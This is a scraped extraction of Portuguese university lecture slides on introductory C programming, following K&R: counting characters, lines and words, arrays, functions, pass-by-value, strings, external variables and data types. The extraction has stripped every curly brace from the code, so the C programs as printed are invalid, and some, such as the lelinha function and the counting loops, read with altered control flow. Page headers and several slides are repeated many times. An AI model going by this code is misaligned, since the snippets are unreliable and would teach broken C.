Page 63: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de caracteres

contador = 0;

while (getchar() != EOF)

++contador;

printf("%ld\n",contador);

Instrução de incremento da variável contador

Tipicamente mais eficiente quecontador = contador + 1

Também há contador++

Também há --contador e contador--

AED 2003/2004 – p.40/554

Page 64: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de caracteres

#include <stdio.h>

/* conta caracteres no ficheiro de entrada */

main ()

double contador;

for(contador = 0; getchar() != EOF; ++contador)

;

printf("%.0f\n", contador);

Alternativa programa anterior

Utiliza double

%f para escrever objectos dos tipos float e double

AED 2003/2004 – p.41/554

Page 65: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de linhas

Algoritmo:Inicializa contador a 0Enquanto o resultado de ler um caracter não forindicador do fim do ficheiro

Se caracter lido for fim de linha entãoIncrementa contador

Escreve contador

AED 2003/2004 – p.42/554

Page 66: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de linhas

#include <stdio.h>

/* conta linhas no ficheiro de entrada */

main ()

int caracter, contador;

contador = 0;

while ((caracter = getchar()) != EOF)

if (caracter == ’\n’)

++contador;

printf("%d\n",contador);

AED 2003/2004 – p.43/554

Page 67: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de linhas

#include <stdio.h>

/* conta linhas no ficheiro de entrada */

main ()

int caracter, contador;

contador = 0;

while ((caracter = getchar()) != EOF)

if (caracter == ’\n’)

++contador;

printf("%d\n",contador);

Teste de igualdade ==

Caracter mudança de linha ’\n’

AED 2003/2004 – p.44/554

Page 68: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

Algoritmo:Estado toma valor FORA

Inicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro

Incrementa contador letras

Se caracter lido for nova linha entãoIncrementa contador linhas

Se caracter lido for espaço ounova linha ou tabulação então

Estado toma valor FORACaso contrário se estado é FORA então

Estado passa a DENTROIncrementa contador palavras

Escreve contadores

AED 2003/2004 – p.45/554

Page 69: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

Algoritmo:Estado toma valor FORA

Inicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro

Incrementa contador letrasSe caracter lido for nova linha então

Incrementa contador linhas

Se caracter lido for espaço ounova linha ou tabulação então

Estado toma valor FORACaso contrário se estado é FORA então

Estado passa a DENTROIncrementa contador palavras

Escreve contadores

AED 2003/2004 – p.45/554

Page 70: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

Algoritmo:Estado toma valor FORAInicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro

Incrementa contador letrasSe caracter lido for nova linha então

Incrementa contador linhasSe caracter lido for espaço ounova linha ou tabulação então

Estado toma valor FORACaso contrário se estado é FORA então

Estado passa a DENTROIncrementa contador palavras

Escreve contadoresAED 2003/2004 – p.45/554

Page 71: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

#include <stdio.h>

#define DENTRO 1 /* Dentro de uma palavra*/

#define FORA 0 /* Fora de uma palavra */

/* conta linhas, palavras e caracteres no ficheiro de entrada */

main ()

int c, nl, np, nc, estado;

estado = FORA;

nl = np = nc = 0;

while ((c = getchar()) != EOF)

++nc;

if (c == ’\n’)

++nl;

if (c == ’ ’ || c == ’\n’ || c == ’\t’)

(cont)AED 2003/2004 – p.46/554

Page 72: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

main ()

int c, nl, np, nc, estado;

estado = FORA;

nl = np = nc = 0;

while ((c = getchar()) != EOF)

++nc;

if (c == ’\n’)

++nl;

if (c == ’ ’ || c == ’\n’ || c == ’\t’)

estado = FORA;

else if (estado == FORA)

estado = DENTRO;

++np;

printf("%d %d %d\n", nl, np, nc);

AED 2003/2004 – p.47/554

Page 73: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

main ()

int c, nl, np, nc, estado;

estado = FORA;

nl = np = nc = 0;

while ((c = getchar()) != EOF)

++nc;

if (c == ’\n’)

++nl;

Atribuição múltipla

Equivale a (nl = (np = (nc = 0)));

AED 2003/2004 – p.48/554

Page 74: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

if (c == ’ ’ || c == ’\n’ || c == ’\t’)

estado = FORA;

else if (estado == FORA)

estado = DENTRO;

++np;

Operador lógico disjunção ||

Operador lógico conjunção && (tem maior precedênciaque ||)

Argumentos avaliados da esquerda para direita.Interrompe avaliação quando argumento for suficientepara definir valor da expressão.

AED 2003/2004 – p.49/554

Page 75: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Contagem de palavras

if (c == ’ ’ || c == ’\n’ || c == ’\t’)

estado = FORA;

else if (estado == FORA)

estado = DENTRO;

++np;

Instrução if-then-else

Sintaxe:if (expressao)

instrucao1

else instrucao2

AED 2003/2004 – p.50/554

Page 76: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

Programa que conta ocorrências de dígitos, espaços e deoutros caracteres

Algoritmo:Inicializa contadores dígitos, brancos e outrosEnquanto resultado de ler caracter não forindicador de fim do ficheiro

Se caracter lido é dígito entãoIncrementa contador de dígitocorrespondente

Senão, se caracter lido é branco entãoIncrementa contador de brancos

Senão, incrementa contador de outros

Escreve contadores

AED 2003/2004 – p.51/554

Page 77: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

#include <stdio.h>

/* conta dıgitos, espacos em branco e outros caracteres */

main ()

int c, i, nbrancos, noutros, ndigitos[10];

nbrancos = noutros = 0;

for (i = 0; i < 10; ++i)

ndigitos[i]=0;

while ((c = getchar()) != EOF)

if (c >= ’0’ && c <= ’9’)

++ndigitos[c-’0’];

else if (c == ’ ’ || c == ’\n’ || c == ’\t’)

++nbrancos;

else ++noutros;

(cont.)

AED 2003/2004 – p.52/554

Page 78: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

main ()

int c, i, nbrancos, noutros, ndigitos[10];

nbrancos = noutros = 0;

for (i = 0; i < 10; ++i)

ndigitos[i]=0;

while ((c = getchar()) != EOF)

if (c >= ’0’ && c <= ’9’)

++ndigitos[c-’0’];

else if (c == ’ ’ || c == ’\n’ || c == ’\t’)

++nbrancos;

else ++noutros;

printf("dıgitos =");

for (i = 0; i < 10; ++i)

printf("%d", ndigitos[i]);

printf(", espacos brancos = %d, outros = %d\n", nbrancos, noutros);

AED 2003/2004 – p.53/554

Page 79: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

#include <stdio.h>

/* conta dıgitos, espacos em branco e outros caracteres */

main ()

int c, i, nbrancos, noutros, ndigitos[10];

nbrancos = noutros = 0;

for (i = 0; i < 10; ++i)

ndigitos[i]=0;

Declaração de tabelas

Variável ndigitos é tabela de 10 inteiros

ndigitos[0], ndigitos[1],. . ., ndigitos[9]

AED 2003/2004 – p.54/554

Page 80: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

while ((c = getchar()) != EOF)

if (c >= ’0’ && c <= ’9’)

++ndigitos[c-’0’];

else if (c == ’ ’ || c == ’\n’ || c == ’\t’)

++nbrancos;

else ++noutros;

Caracteres são inteiros pequenos

Valor do dígito c é c-’0’

Funciona porque dígitos aparecem seguidos nastabelas de caracteres

Utilizar valor do dígito para guardar informação sobredígito numa tabela. Ex: ndigitos[’2’-’0’]representa número de vezes que aparece caracter ’2’

AED 2003/2004 – p.55/554

Page 81: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

if (c >= ’0’ && c <= ’9’)

++ndigitos[c-’0’];

else if (c == ’ ’ || c == ’\n’ || c == ’\t’)

++nbrancos;

else ++noutros;

ifs encadeadosif (condição1)

instrução1else if (condição2)

instrução2. . .else instruçãon

AED 2003/2004 – p.56/554

Page 82: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

if (c >= ’0’ && c <= ’9’)

++ndigitos[c-’0’];

else if (c == ’ ’ || c == ’\n’ || c == ’\t’)

++nbrancos;

else ++noutros;

Indentação crescente problemática em instruçõesgrandes

Instrução switch semelhante

AED 2003/2004 – p.57/554

Page 83: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

#include <stdio.h>

int potencia(int m, int n);

/* teste funcao potencia */

main ()

int i;

for (i = 0; i < 10; ++i)

printf("%d %d %d\n", i, potencia(2,i), potencia(-3,i));

return 0;

/* potencia: levanta base a n-esima potencia; n >= 0 */

int potencia (int base, int n)

(cont.)

AED 2003/2004 – p.58/554

Page 84: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

/* potencia: levanta base a n-esima potencia; n >= 0 */

int potencia (int base, int n)

int i, p;

p = 1;

for (i = 1; i <= n; ++i)

p = p * base;

return p;

Funções aparecem em qualquer ordem num ficheiro

Funções podem estar distribuídas por diversos ficheiros

AED 2003/2004 – p.59/554

Page 85: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

int potencia (int base, int n)

int i, p;

p = 1;

for (i = 1; i <= n; ++i)

p = p * base;

return p;

Parâmetros formais de função são variáveis locais defunção (inacessíveis a partir de outras funções)

Instrução return especifica valor a retornar

Função pode não retornar valor

AED 2003/2004 – p.60/554

Page 86: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções

#include <stdio.h>

int potencia(int m, int n);

/* teste funcao potencia */

main ()

int i;

Protótipos de funções

Especificação dos tipos dos argumentos e do tipo dovalor a retornar

Podia ser int potencia(int, int);

AED 2003/2004 – p.61/554

Page 87: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Passagem por valor

Parâmetros actuais copiados para variáveistemporárias quando função é executada

Função não tem acesso a parâmetros actuais (só àscópias)

Não os pode alterar

Diferente da "passagem por referência" (Pascal)

Para função mudar variável, recebe endereço(ponteiro) para variável

Excepção: se parâmetro actual é tabela, é passado oendereço da tabela e não cópia da tabela

AED 2003/2004 – p.62/554

Page 88: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Passagem por valor

Versão de potencia que usa menos variáveis/* potencia: levanta base a n-esima potencia; n >= 0.

/

int potencia (int base, int n)

int p;

for (p = 1; n > 0; --n)

p = p * base;

return p;

AED 2003/2004 – p.63/554

Page 89: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

Programa que lê linhas de texto e imprime a maior daslinhas

Algoritmo:Enquanto houver linhas para ler

Se a linha lida é maior que a anterior maior linhaGuarda a linhaGuarda o comprimento da linha

Imprime a maior linha

AED 2003/2004 – p.64/554

Page 90: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

#include <stdio.h>

#define MAXLINHA 1000

int lelinha(char linha[], int maxlinha);

void copia(char to[], char from[]);

/* Imprime a maior linha do ficheiro de entrada */

main ()

int comprimento;

int max;

char linha[MAXLINHA];

char maiscomprida[MAXLINHA];

max = 0;

(cont.)

AED 2003/2004 – p.65/554

Page 91: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

main ()

int comprimento;

int max;

char linha[MAXLINHA];

char maiscomprida[MAXLINHA];

max = 0;

while ((comprimento = lelinha(linha, MAXLINHA)) > 0)

if (comprimento > max)

max = comprimento;

copia(maiscomprida, linha);

if (max > 0)

printf("%s", maiscomprida);

return 0;

(cont.)

AED 2003/2004 – p.66/554

Page 92: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

/* lelinha: le linha para s, retorna comprimento */

int lelinha(char s[], int lim)

int c, i;

for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=’\n’; ++i)

s[i] = c;

if (c == ’\n’)

s[i] = c;

++i;

s[i] = ’\0’;

return i;

(cont.)

AED 2003/2004 – p.67/554

Page 93: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

/* copia: copia ’origem’ para ’destino’; assume tamanho suficiente */

void copia(char destino[], char origem[])

int i;

i = 0;

while ((destino[i] = origem[i]) != ’\0’)

++i;

AED 2003/2004 – p.68/554

Page 94: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

/* lelinha: le linha para s, retorna comprimento */

int lelinha(char s[], int lim)

int c, i;

for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=’\n’; ++i)

Definição de parâmetro formal s não precisa detamanho

Declaração do tipo de retorno desnecessária (int poromissão)

AED 2003/2004 – p.69/554

Page 95: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas de caracteres

s[i] = c;

if (c == ’\n’)

s[i] = c;

++i;

s[i] = ’\0’;

return i;

Convenção C: cadeia caracteres acaba com ’\0’

Cadeia de caracteres "hello\n" tem caracteres ’h’,’e’, ’l’, ’l’, ’o’, ’\n’ e ’\0’

printf espera strings neste formato

AED 2003/2004 – p.70/554

Page 96: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

Variáveis de funções são locais às funções

Variável local de uma função existe apenas quandofunção é chamada

Variável local é destruida quando função acaba de serexecutada

Variável local é automática

Variáveis estáticas retêm o valor entre chamadas

AED 2003/2004 – p.71/554

Page 97: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

Variável externa definida fora de qualquer função

Variável externa precisa ser declarada por cada funçãoque a utilize (instrução extern) se não tiver sidodefinida anteriormente no ficheiro

Variáveis externas são acessíveis a partir de todasfunções

AED 2003/2004 – p.72/554

Page 98: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

#include <stdio.h>

#define MAXLINHA 1000 /* tamanho maximo da linha */

int maximo; /* maior tamanho encontrado ate agora */

char maiscomprida[MAXLINHA]; /* maior linha encontrada ate agora */

char linha[MAXLINHA]; /* linha a ser tratada */

int lelinha(void);

void copia(void);

(cont.)

AED 2003/2004 – p.73/554

Page 99: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

/* imprime a maior linha do ficheiro de entrada. Versao especializada */

main ()

int comprimento;

extern int maximo;

extern char maiscomprida[];

maximo = 0;

while ((comprimento = lelinha()) > 0)

if (comprimento > maximo)

maximo = comprimento;

copia();

if (maximo > 0) /* houve uma linha */

printf("%s", maiscomprida);

return 0;

(cont.)

AED 2003/2004 – p.74/554

Page 100: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

/* lelinha: versao especializada */

int lelinha(void)

int c, i;

extern char linha[];

for (i = 0; i < MAXLINHA -1 && (c=getchar()) != EOF && c != ’\n’; ++i)

linha[i]=c;

if (c == ’\n’)

linha[i] = c;

++i;

linha[i] = ’\0’;

return i;

(cont.)

AED 2003/2004 – p.75/554

Page 101: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

/* copia: versao especializada */

void copia(void)

int i;

extern char linha[], maiscomprida[];

i = 0;

while ((maiscomprida[i] = linha[i]) != ’\0’)

++i;

AED 2003/2004 – p.76/554

Page 102: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

#define MAXLINHA 1000 /* tamanho maximo da linha */

int maximo; /* maior tamanho encontrado ate agora */

char maiscomprida[MAXLINHA]; /* maior linha encontrada ate agora */

char linha[MAXLINHA]; /* linha a ser tratada */

Variável externa definida fora de qualquer função

Definição serve para alocar espaço de memória àvariável

AED 2003/2004 – p.77/554

Page 103: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Variáveis externas

main ()

int comprimento;

extern int maximo;

extern char maiscomprida[];

Variável externa precisa ser declarada em cada função(instrução extern) se antes não tiver sido definida noficheiro (neste exemplo não era preciso)

Todas as funções podem aceder a variáveis externas

Prática: colocar todas definições no princípio do ficheiro

Ficheiros de headers (.h): colecção de instruçõesextern.

Variáveis globais = fonte potencial PROBLEMAS

AED 2003/2004 – p.78/554

Page 104: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte II

K&R Cap. 2

AED 2003/2004 – p.79/554

Page 105: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Elementos da linguagem

Identificadores

Tipos

Constantes

Declarações

Operadores aritméticos, lógicos e relacionais

Conversões de tipos

Operadores incrementar e decrementar

Operações de bits

Operações de atribuição e expressões

Expressões condicionais

Precedência e ordem de avaliação

AED 2003/2004 – p.80/554

Page 106: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 107: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 108: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 109: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 110: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 111: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 112: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 113: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Identificadores

Sequências de letras, underscore, ou dígitos

Primeiro caracter é letra ou underscore

Frequentemente nomes nas bibliotecas começam comunderscore

identificador diferente de Identificador

variaveis em minúsculas e CONSTANTES emmaiúsculas

Variáveis internas: primeiros 31 caracteressignificativos

Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas

Nomes reservados: if, else, int, float, etc

AED 2003/2004 – p.81/554

Page 114: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 115: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 116: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 117: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 118: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

